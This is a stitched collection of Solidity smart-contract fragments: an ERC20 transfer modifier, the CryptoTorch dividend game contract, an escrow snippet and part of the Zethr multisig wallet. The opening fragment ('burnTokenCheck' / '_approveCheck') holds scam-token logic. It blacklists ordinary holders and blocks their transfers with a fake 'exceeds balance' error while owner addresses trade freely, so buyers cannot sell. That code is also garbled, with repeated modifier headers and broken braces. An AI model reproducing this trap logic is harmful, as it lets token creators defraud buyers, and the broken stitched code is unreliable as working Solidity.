emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 8,398,045
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] |
//Address: 0xc67a3da58b43b0652a22c6f50826c9ebe7b78e49
//Contract name: CryptoTorch
//Balance: 0 Ether
//Verification Date: 4/26/2018
//Transacion Count: 7
// CODE STARTS HERE
// CryptoTorch Source code
// copyright 2018 CryptoTorch <https://cryptotorch.io>
pragma solidity 0.4.19;
/**
* @title SafeMath
* Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
*
* Owner rights:
* - change the name of the contract
* - change the name of the token
* - change the Proof of Stake difficulty
* - pause/unpause the contract
* - transfer ownership
*
* Owner CANNOT:
* - withdrawal funds
* - disable withdrawals
* - kill the contract
* - change the price of tokens
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
*
* Pausing the contract will only disable deposits,
* it will not prevent player dividend withdraws or token sales
*/
contract Pausable is Ownable {
event OnPause();
event OnUnpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
OnPause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
OnUnpause();
}
}
/**
* @title ReentrancyGuard
* Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
*/
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
/**
* DateTime Contract Interface
* see https://github.com/pipermerriam/ethereum-datetime
* Live Contract Address: 0x1a6184CD4C5Bea62B0116de7962EE7315B7bcBce
*/
contract DateTime {
function getMonth(uint timestamp) public pure returns (uint8);
function getDay(uint timestamp) public pure returns (uint8);
}
/**
* OwnTheDay Contract Interface
*/
contract OwnTheDayContract {
function ownerOf(uint256 _tokenId) public view returns (address);
}
/**
* @title CryptoTorchToken
*/
contract CryptoTorchToken {
function contractBalance() public view returns (uint256);
function totalSupply() public view returns(uint256);
function balanceOf(address _playerAddress) public view returns(uint256);
function dividendsOf(address _playerAddress) public view returns(uint256);
function profitsOf(address _playerAddress) public view returns(uint256);
function referralBalanceOf(address _playerAddress) public view returns(uint256);
function sellPrice() public view returns(uint256);
function buyPrice() public view returns(uint256);
function calculateTokensReceived(uint256 _etherToSpend) public view returns(uint256);
function calculateEtherReceived(uint256 _tokensToSell) public view returns(uint256);
function sellFor(address _for, uint256 _amountOfTokens) public;
function withdrawFor(address _for) public;
function mint(address _to, uint256 _amountForTokens, address _referredBy) public payable returns(uint256);
}
/**
* @title Crypto-Torch Contract
*/
contract CryptoTorch is Pausable, ReentrancyGuard {
using SafeMath for uint256;
//
// Events
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
event onTorchPassed(
address indexed from,
address indexed to,
uint256 pricePaid
);
//
// Types
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
struct HighPrice {
uint256 price;
address owner;
}
struct HighMileage {
uint256 miles;
address owner;
}
struct PlayerData {
string name;
string note;
string coords;
uint256 dividends; // earnings waiting to be paid out
uint256 profits; // earnings already paid out
bool champion; // ran the torch while owning the day?
}
//
// Payout Structure
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// Dev Fee - 5%
// Token Pool - 75%
// - Referral - 10%
// Remaining - 20%
// - Day Owner - 10-25%
// - Remaining - 75-90%
// - Last Runner - 60%
// - Second Last Runner - 30%
// - Third Last Runner - 10%
//
//
// Player Data
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
uint8 public constant maxLeaders = 3; // Gold, Silver, Bronze
uint256 private _lowestHighPrice;
uint256 private _lowestHighMiles;
uint256 public whaleIncreaseLimit = 2 ether;
uint256 public whaleMax = 20 ether;
HighPrice[maxLeaders] private _highestPrices;
HighMileage[maxLeaders] private _highestMiles;
address[maxLeaders] public torchRunners;
address internal donationsReceiver_;
mapping (address => PlayerData) private playerData_;
DateTime internal DateTimeLib_;
CryptoTorchToken internal CryptoTorchToken_;
OwnTheDayContract internal OwnTheDayContract_;
string[3] internal holidayMap_;
//
// Modifiers
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be possible
modifier antiWhalePrice(uint256 _amount) {
require(
whaleIncreaseLimit == 0 ||
(
_amount <= (whaleIncreaseLimit.add(_highestPrices[0].price)) &&
playerData_[msg.sender].dividends.add(playerData_[msg.sender].profits).add(_amount) <= whaleMax
)
);
_;
}
//
// Contract Initialization
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/**
* Set the Owner to the First Torch Runner
*/
function CryptoTorch() public {
torchRunners[0] = msg.sender;
}
/**
* Initializes the Contract Dependencies as well as the Holiday Mapping for OwnTheDay.io
*/
function initialize(address _dateTimeAddress, address _tokenAddress, address _otdAddress) public onlyOwner {
DateTimeLib_ = DateTime(_dateTimeAddress);
CryptoTorchToken_ = CryptoTorchToken(_tokenAddress);
OwnTheDayContract_ = OwnTheDayContract(_otdAddress);
holidayMap_[0] = "10000110000001100000000000000101100000000011101000000000000011000000000000001001000010000101100010100110000100001000110000";
holidayMap_[1] = "10111000100101000111000000100100000100010001001000100000000010010000000001000000110000000000000100000000010001100001100000";
holidayMap_[2] = "01000000000100000101011000000110000001100000000100000000000011100001000100000000101000000000100000000000000000010011000001";
}
/**
* Sets the external contract address of the DateTime Library
*/
function setDateTimeLib(address _dateTimeAddress) public onlyOwner {
DateTimeLib_ = DateTime(_dateTimeAddress);
}
/**
* Sets the external contract address of the Token Contract
*/
function setTokenContract(address _tokenAddress) public onlyOwner {
CryptoTorchToken_ = CryptoTorchToken(_tokenAddress);
}
/**
* Sets the external contract address of OwnTheDay.io
*/
function setOwnTheDayContract(address _otdAddress) public onlyOwner {
OwnTheDayContract_ = OwnTheDayContract(_otdAddress);
}
/**
* Set the Contract Donations Receiver
*/
function setDonationsReceiver(address _receiver) public onlyOwner {
donationsReceiver_ = _receiver;
}
/**
* The Max Price-Paid Limit for Whales during the Anti-Whale Phase
*/
function setWhaleMax(uint256 _max) public onlyOwner {
whaleMax = _max;
}
/**
* The Max Price-Increase Limit for Whales during the Anti-Whale Phase
*/
function setWhaleIncreaseLimit(uint256 _limit) public onlyOwner {
whaleIncreaseLimit = _limit;
}
/**
* Updates the Holiday Mappings in case of updates/changes at OwnTheDay.io
*/
function updateHolidayState(uint8 _listIndex, string _holidayMap) public onlyOwner {
require(_listIndex >= 0 && _listIndex < 3);
holidayMap_[_listIndex] = _holidayMap;
}
//
// Public Functions
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/**
* Checks if a specific day is a holiday at OwnTheDay.io
*/
function isHoliday(uint256 _dayIndex) public view returns (bool) {
require(_dayIndex >= 0 && _dayIndex < 366);
return (getHolidayByIndex_(_dayIndex) == 1);
}
/**
* Checks if Today is a holiday at OwnTheDay.io
*/
function isHolidayToday() public view returns (bool) {
uint256 _dayIndex = getDayIndex_(now);
return (getHolidayByIndex_(_dayIndex) == 1);
}
/**
* Gets the Day-Index of Today at OwnTheDay.io
*/
function getTodayIndex() public view returns (uint256) {
return getDayIndex_(now);
}
/**
* Gets the Owner Name of the Day at OwnTheDay.io
*/
function getTodayOwnerName() public view returns (string) {
address dayOwner = OwnTheDayContract_.ownerOf(getTodayIndex());
return playerData_[dayOwner].name; // Get Name from THIS contract
}
/**
* Gets the Owner Address of the Day at OwnTheDay.io
*/
function getTodayOwnerAddress() public view returns (address) {
return OwnTheDayContract_.ownerOf(getTodayIndex());
}
/**
* Sets the Nickname for an Account Address
*/
function setAccountNickname(string _nickname) public whenNotPaused {
require(msg.sender != address(0));
require(bytes(_nickname).length > 0);
playerData_[msg.sender].name = _nickname;
}
/**
* Gets the Nickname for an Account Address
*/
function getAccountNickname(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].name;
}
/**
* Sets the Note for an Account Address
*/
function setAccountNote(string _note) public whenNotPaused {
require(msg.sender != address(0));
playerData_[msg.sender].note = _note;
}
/**
* Gets the Note for an Account Address
*/
function getAccountNote(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].note;
}
/**
* Sets the Note for an Account Address
*/
function setAccountCoords(string _coords) public whenNotPaused {
require(msg.sender != address(0));
playerData_[msg.sender].coords = _coords;
}
/**
* Gets the Note for an Account Address
*/
function getAccountCoords(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].coords;
}
/**
* Gets the Note for an Account Address
*/
function isChampionAccount(address _playerAddress) public view returns (bool) {
return playerData_[_playerAddress].champion;
}
/**
* Take the Torch!
* The Purchase Price is Paid to the Previous Torch Holder, and is also used
* as the Purchasers Mileage Multiplier
*/
function takeTheTorch(address _referredBy) public nonReentrant whenNotPaused payable {
takeTheTorch_(msg.value, msg.sender, _referredBy);
}
/**
* Do not make payments directly to this contract (unless it is a donation! :)
* - payments made directly to the contract do not receive tokens. Tokens
* are only available via "takeTheTorch()" or through the Dapp at https://cryptotorch.io
*/
function() payable public {
if (msg.value > 0 && donationsReceiver_ != 0x0) {
donationsReceiver_.transfer(msg.value); // donations? Thank you! :)
}
}
/**
* Sell some tokens for Ether
*/
function sell(uint256 _amountOfTokens) public {
CryptoTorchToken_.sellFor(msg.sender, _amountOfTokens);
}
/**
* Withdraw the earned Dividends to Ether
* - Includes Torch + Token Dividends and Token Referral Bonuses
*/
function withdrawDividends() public returns (uint256) {
CryptoTorchToken_.withdrawFor(msg.sender);
return withdrawFor_(msg.sender);
}
//
// Helper Functions
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/**
* View the total balance of this contract
*/
function torchContractBalance() public view returns (uint256) {
return this.balance;
}
/**
* View the total balance of the token contract
*/
function tokenContractBalance() public view returns (uint256) {
return CryptoTorchToken_.contractBalance();
}
/**
* Retrieve the total token supply.
*/
function totalSupply() public view returns(uint256) {
return CryptoTorchToken_.totalSupply();
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.balanceOf(_playerAddress);
}
/**
* Retrieve the token dividend balance of any single address.
*/
function tokenDividendsOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.dividendsOf(_playerAddress);
}
/**
* Retrieve the referral dividend balance of any single address.
*/
function referralDividendsOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.referralBalanceOf(_playerAddress);
}
/**
* Retrieve the dividend balance of any single address.
*/
function torchDividendsOf(address _playerAddress) public view returns(uint256) {
return playerData_[_playerAddress].dividends;
}
/**
* Retrieve the dividend balance of any single address.
*/
function profitsOf(address _playerAddress) public view returns(uint256) {
return playerData_[_playerAddress].profits.add(CryptoTorchToken_.profitsOf(_playerAddress));
}
/**
* Return the sell price of 1 individual token.
*/
function sellPrice() public view returns(uint256) {
return CryptoTorchToken_.sellPrice();
}
/**
* Return the buy price of 1 individual token.
*/
function buyPrice() public view returns(uint256) {
return CryptoTorchToken_.buyPrice();
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _etherToSpend) public view returns(uint256) {
uint256 forTokens = _etherToSpend.sub(_etherToSpend.div(4));
return CryptoTorchToken_.calculateTokensReceived(forTokens);
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEtherReceived(uint256 _tokensToSell) public view returns(uint256) {
return CryptoTorchToken_.calculateEtherReceived(_tokensToSell);
}
/**
* Get the Max Price of the Torch during the Anti-Whale Phase
*/
function getMaxPrice() public view returns (uint256) {
if (whaleIncreaseLimit == 0) { return 0; } // no max price
return whaleIncreaseLimit.add(_highestPrices[0].price);
}
/**
* Get the Highest Price per each Medal Leader
*/
function getHighestPriceAt(uint _index) public view returns (uint256) {
require(_index >= 0 && _index < maxLeaders);
return _highestPrices[_index].price;
}
/**
* Get the Highest Price Owner per each Medal Leader
*/
function getHighestPriceOwnerAt(uint _index) public view returns (address) {
require(_index >= 0 && _index < maxLeaders);
return _highestPrices[_index].owner;
}
/**
* Get the Highest Miles per each Medal Leader
*/
function getHighestMilesAt(uint _index) public view returns (uint256) {
require(_index >= 0 && _index < maxLeaders);
return _highestMiles[_index].miles;
}
/**
* Get the Highest Miles Owner per each Medal Leader
*/
function getHighestMilesOwnerAt(uint _index) public view returns (address) {
require(_index >= 0 && _index < maxLeaders);
return _highestMiles[_index].owner;
}
//
// Internal Functions
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/**
* Take the Torch! And receive KMS Tokens!
*/
function takeTheTorch_(uint256 _amountPaid, address _takenBy, address _referredBy) internal antiWhalePrice(_amountPaid) returns (uint256) {
require(_takenBy != address(0));
require(_amountPaid >= 5 finney);
require(_takenBy != torchRunners[0]); // Torch must be passed on
if (_referredBy == address(this)) { _referredBy = address(0); }
// Pass the Torch
address previousLast = torchRunners[2];
torchRunners[2] = torchRunners[1];
torchRunners[1] = torchRunners[0];
torchRunners[0] = _takenBy;
// Get the Current Day Owner at OwnTheDay
address dayOwner = OwnTheDayContract_.ownerOf(getDayIndex_(now));
// Calculate Portions
uint256 forDev = _amountPaid.mul(5).div(100);
uint256 forTokens = _amountPaid.sub(_amountPaid.div(4));
uint256 forPayout = _amountPaid.sub(forDev).sub(forTokens);
uint256 forDayOwner = calculateDayOwnerCut_(forPayout);
if (dayOwner == _takenBy) {
forTokens = forTokens.add(forDayOwner);
forPayout = _amountPaid.sub(forDev).sub(forTokens);
playerData_[_takenBy].champion = true;
} else {
forPayout = forPayout.sub(forDayOwner);
}
// Fire Events
onTorchPassed(torchRunners[1], _takenBy, _amountPaid);
// Grant Mileage Tokens to Torch Holder
uint256 mintedTokens = CryptoTorchToken_.mint.value(forTokens)(_takenBy, forTokens, _referredBy);
// Update LeaderBoards
updateLeaders_(_takenBy, _amountPaid);
// Handle Payouts
handlePayouts_(forDev, forPayout, forDayOwner, _takenBy, previousLast, dayOwner);
return mintedTokens;
}
/**
* Payouts to the last 3 Torch Runners, the Day Owner & Dev
*/
function handlePayouts_(uint256 _forDev, uint256 _forPayout, uint256 _forDayOwner, address _takenBy, address _previousLast, address _dayOwner) internal {
uint256[] memory runnerPortions = new uint256[](3);
// Determine Runner Portions
// Note, torch has already been passed, so torchRunners[0]
// is the current torch runner
if (_previousLast != address(0)) {
runnerPortions[2] = _forPayout.mul(10).div(100);
}
if (torchRunners[2] != address(0)) {
runnerPortions[1] = _forPayout.mul(30).div(100);
}
runnerPortions[0] = _forPayout.sub(runnerPortions[1]).sub(runnerPortions[2]);
// Update Player Dividends
playerData_[_previousLast].dividends = playerData_[_previousLast].dividends.add(runnerPortions[2]);
playerData_[torchRunners[2]].dividends = playerData_[torchRunners[2]].dividends.add(runnerPortions[1]);
playerData_[torchRunners[1]].dividends = playerData_[torchRunners[1]].dividends.add(runnerPortions[0]);
// Track Profits
playerData_[owner].profits = playerData_[owner].profits.add(_forDev);
if (_dayOwner != _takenBy) {
playerData_[_dayOwner].profits = playerData_[_dayOwner].profits.add(_forDayOwner);
}
// Transfer Funds
// - Transfer directly since these accounts are not, or may not be, existing
// Torch-Runners and therefore cannot "exit" this contract
owner.transfer(_forDev);
if (_dayOwner != _takenBy) {
_dayOwner.transfer(_forDayOwner);
}
}
/**
* Withdraw the earned Torch Dividends to Ether
* - Does not touch Token Dividends or Token Referral Bonuses
*/
function withdrawFor_(address _for) internal returns (uint256) {
uint256 torchDividends = playerData_[_for].dividends;
if (playerData_[_for].dividends > 0) {
playerData_[_for].dividends = 0;
playerData_[_for].profits = playerData_[_for].profits.add(torchDividends);
_for.transfer(torchDividends);
}
return torchDividends;
}
/**
* Update the Medal Leader Boards
*/
function updateLeaders_(address _takenBy, uint256 _amountPaid) internal {
// Owner can't be leader; conflict of interest
if (_takenBy == owner || _takenBy == donationsReceiver_) { return; }
// Update Highest Prices
if (_amountPaid > _lowestHighPrice) {
updateHighestPrices_(_amountPaid, _takenBy);
}
// Update Highest Mileage
uint256 tokenBalance = CryptoTorchToken_.balanceOf(_takenBy);
if (tokenBalance > _lowestHighMiles) {
updateHighestMiles_(tokenBalance, _takenBy);
}
}
/**
* Calculate the amount of Payout for the Day Owner (Holidays receive extra)
*/
function calculateDayOwnerCut_(uint256 _price) internal view returns (uint256) {
if (getHolidayByIndex_(getDayIndex_(now)) == 1) {
return _price.mul(25).div(100);
}
return _price.mul(10).div(100);
}
/**
* Get the Day-Index of the current Day for Mapping with OwnTheDay.io
*/
function getDayIndex_(uint timestamp) internal view returns (uint256) {
uint8 day = DateTimeLib_.getDay(timestamp);
uint8 month = DateTimeLib_.getMonth(timestamp);
// OwnTheDay always includes Feb 29
uint16[12] memory offset = [0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335];
return offset[month-1] + day;
}
/**
* Determine if Day-Index is a Holiday or not
*/
function getHolidayByIndex_(uint256 _dayIndex) internal view returns (uint result) {
if (_dayIndex < 122) {
return getFromList_(0, _dayIndex);
}
if (_dayIndex < 244) {
return getFromList_(1, _dayIndex-122);
}
return getFromList_(2, _dayIndex-244);
}
function getFromList_(uint8 _idx, uint256 _dayIndex) internal view returns (uint result) {
result = parseInt_(uint(bytes(holidayMap_[_idx])[_dayIndex]));
}
function parseInt_(uint c) internal pure returns (uint result) {
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
/**
* Update the Medal Leaderboard for the Highest Price
*/
function updateHighestPrices_(uint256 _price, address _owner) internal {
uint256 newPos = maxLeaders;
uint256 oldPos = maxLeaders;
uint256 i;
HighPrice memory tmp;
// Determine positions
for (i = maxLeaders-1; i >= 0; i--) {
if (_price >= _highestPrices[i].price) {
newPos = i;
}
if (_owner == _highestPrices[i].owner) {
oldPos = i;
}
if (i == 0) { break; } // prevent i going below 0
}
// Insert or update leader
if (newPos < maxLeaders) {
if (oldPos < maxLeaders-1) {
// update price for existing leader
_highestPrices[oldPos].price = _price;
if (newPos != oldPos) {
// swap
tmp = _highestPrices[newPos];
_highestPrices[newPos] = _highestPrices[oldPos];
_highestPrices[oldPos] = tmp;
}
} else {
// shift down
for (i = maxLeaders-1; i > newPos; i--) {
_highestPrices[i] = _highestPrices[i-1];
}
// insert
_highestPrices[newPos].price = _price;
_highestPrices[newPos].owner = _owner;
}
// track lowest value
_lowestHighPrice = _highestPrices[maxLeaders-1].price;
}
}
/**
* Update the Medal Leaderboard for the Highest Miles
*/
function updateHighestMiles_(uint256 _miles, address _owner) internal {
uint256 newPos = maxLeaders;
uint256 oldPos = maxLeaders;
uint256 i;
HighMileage memory tmp;
// Determine positions
for (i = maxLeaders-1; i >= 0; i--) {
if (_miles >= _highestMiles[i].miles) {
newPos = i;
}
if (_owner == _highestMiles[i].owner) {
oldPos = i;
}
if (i == 0) { break; } // prevent i going below 0
}
// Insert or update leader
if (newPos < maxLeaders) {
if (oldPos < maxLeaders-1) {
// update miles for existing leader
_highestMiles[oldPos].miles = _miles;
if (newPos != oldPos) {
// swap
tmp = _highestMiles[newPos];
_highestMiles[newPos] = _highestMiles[oldPos];
_highestMiles[oldPos] = tmp;
}
} else {
// shift down
for (i = maxLeaders-1; i > newPos; i--) {
_highestMiles[i] = _highestMiles[i-1];
}
// insert
_highestMiles[newPos].miles = _miles;
_highestMiles[newPos].owner = _owner;
}
// track lowest value
_lowestHighMiles = _highestMiles[maxLeaders-1].miles;
}
}
}
|
* DateTime Contract Interface Live Contract Address: 0x1a6184CD4C5Bea62B0116de7962EE7315B7bcBce/
|
contract DateTime {
function getMonth(uint timestamp) public pure returns (uint8);
function getDay(uint timestamp) public pure returns (uint8);
}
| 2,522,377
|
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./partial_match/1/0x31577476950ec86E2D6D99dcc756A35AEa14389a/sources/MultiProductEscrow.sol
|
* @dev The buyer can release the funds to the seller allowing the seller to withdraw the funds./
|
function releaseFunds(string calldata transactionId)
public
onlyBuyer(transactionId)
{
transactions[transactionId].fundsReleased = true;
}
| 16,070,567
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/*
Zethr | https://zethr.io
(c) Copyright 2018 | All Rights Reserved
This smart contract was developed by the Zethr Dev Team and its source code remains property of the Zethr Project.
*/
pragma solidity ^0.4.24;
// File: contracts/Libraries/SafeMath.sol
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/Libraries/ZethrTierLibrary.sol
library ZethrTierLibrary {
uint constant internal magnitude = 2 ** 64;
// Gets the tier (1-7) of the divs sent based off of average dividend rate
// This is an index used to call into the correct sub-bankroll to withdraw tokens
function getTier(uint divRate) internal pure returns (uint8) {
// Divide the average dividned rate by magnitude
// Remainder doesn't matter because of the below logic
uint actualDiv = divRate / magnitude;
if (actualDiv >= 30) {
return 6;
} else if (actualDiv >= 25) {
return 5;
} else if (actualDiv >= 20) {
return 4;
} else if (actualDiv >= 15) {
return 3;
} else if (actualDiv >= 10) {
return 2;
} else if (actualDiv >= 5) {
return 1;
} else if (actualDiv >= 2) {
return 0;
} else {
// Impossible
revert();
}
}
function getDivRate(uint _tier)
internal pure
returns (uint8)
{
if (_tier == 0) {
return 2;
} else if (_tier == 1) {
return 5;
} else if (_tier == 2) {
return 10;
} else if (_tier == 3) {
return 15;
} else if (_tier == 4) {
return 20;
} else if (_tier == 5) {
return 25;
} else if (_tier == 6) {
return 33;
} else {
revert();
}
}
}
// File: contracts/ERC/ERC223Receiving.sol
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
// File: contracts/ZethrMultiSigWallet.sol
/* Zethr MultisigWallet
*
* Standard multisig wallet
* Holds the bankroll ETH, as well as the bankroll 33% ZTH tokens.
*/
contract ZethrMultiSigWallet is ERC223Receiving {
using SafeMath for uint;
/*=================================
= EVENTS =
=================================*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event BankrollInvest(uint amountReceived);
/*=================================
= VARIABLES =
=================================*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool internal reEntered = false;
uint constant public MAX_OWNER_COUNT = 15;
/*=================================
= CUSTOM CONSTRUCTS =
=================================*/
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
/*=================================
= MODIFIERS =
=================================*/
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (isOwner[caller])
_;
else
revert();
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/*=================================
= PUBLIC FUNCTIONS =
=================================*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
// Add owners
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
// Set owners
owners = _owners;
// Set required
required = _required;
}
/** Testing only.
function exitAll()
public
{
uint tokenBalance = ZTHTKN.balanceOf(address(this));
ZTHTKN.sell(tokenBalance - 1e18);
ZTHTKN.sell(1e18);
ZTHTKN.withdraw(address(0x0));
}
**/
/// @dev Fallback function allows Ether to be deposited.
function()
public
payable
{
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
